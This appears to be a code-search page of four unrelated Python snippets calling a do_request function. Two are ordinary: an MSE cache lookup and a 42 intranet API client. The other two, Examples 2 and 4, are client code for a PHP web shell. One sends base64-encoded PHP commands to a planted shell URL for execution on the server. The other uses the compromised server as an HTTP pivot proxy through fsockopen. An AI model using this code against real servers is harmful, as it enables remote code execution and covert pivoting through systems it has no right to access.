Example #1
0
def get_mse(vector: np.array):
    if exists(vector):
        return score(vector)
    else:
        mse = do_request(vector)
        add(vector, mse)
        return mse
Example #2
0
    def forward_request(self, data):
        if data:
            lines = data.split("\r\n")
            l1 = lines[0]
            if l1.startswith("CONNECT "):
                return "HTTP/1.0 200 Connection established\r\nProxy-agent: rshell 0.1\r\n\r\n"
            try:
                (method, url, version) = l1.split()

                parsed_url = urlparse(url)
                if parsed_url.hostname:
                    if parsed_url.query:
                        path_query = "{0}?{1}".format(parsed_url.path, parsed_url.query)
                    else:
                        path_query = parsed_url.path
                    rb_request = "{0} {1} {2}\r\n".format(method, path_query, version)
                    headers_str = "\r\n".join(lines[1:])
                    # Works better closing http connection
                    headers_str = headers_str.replace("Connection: keep-alive", "Connection: close")
                    b64_request = encodestring("{0}{1}".format(rb_request, headers_str))
                    port = parsed_url.port if parsed_url.port else 80
                    # PHP code to run in the server
                    php_code = """$fp = fsockopen('{0}', {1}, $errno, $errstr, 5);
                                  fwrite($fp, base64_decode('{2}'));
                                  while (!feof($fp)) {{ echo fgets($fp, 2048); }};
                                  fclose($fp);"""
                    php_code = php_code.format(parsed_url.hostname, port, b64_request.replace(os.linesep, ""))
                    b64_php_code = "param={0}".format(encodestring(php_code))
                    b64_php_code = b64_php_code.replace(os.linesep, "")
                    response = request.do_request(self.sh_url, b64_php_code, None)
                    if response:
                        return response
            except:
                print data
        return None
Example #3
0
def main(args):
    base_url = 'https://api.intra.42.fr'
    headers = {'Authorization': f'Bearer {get_token(base_url)}'}

    #check if arg id is valid
    verify_id(base_url, headers, args["id"])

    #if arg --clean-cache is set clean cache and exit
    if args['ccache']:
        remove_archive(f'.student-{args["id"]}')
        remove_archive(f'.student-all-{args["id"]}')
        print("Cache clean sucessfully!")
        quit()

    #if arg --photo or -p is set print url and exit
    if args['photo']:
        print(f'https://cdn.intra.42.fr/users/{args["id"]}.jpg')
        quit()

    #perform requests
    id_info = do_request(base_url, args['id'], args['ncache'], args['all'],
                         headers)

    if not args['all']:
        if args['raw']:
            raw(id_info, args['id'])
        else:
            table(id_info, args['id'])
    else:
        all(id_info)
Example #4
0
 def dorequest(self, php_cmd):
     # Post request using the param parameter
     """
     Make a request to the server sending the php code
     :param php_cmd: php code to execute on the server
     :return: tuple, the http code and the html result of the request
     """
     cmd_base64 = base64.encodestring(php_cmd)[:-1]
     full_url = self.shell_url
     #parsed_url = urlparse(full_url)
     #url = ''
     #con = None
     params = "param={0}".format(cmd_base64)
     return 200, request.do_request(full_url, params, self.proxy)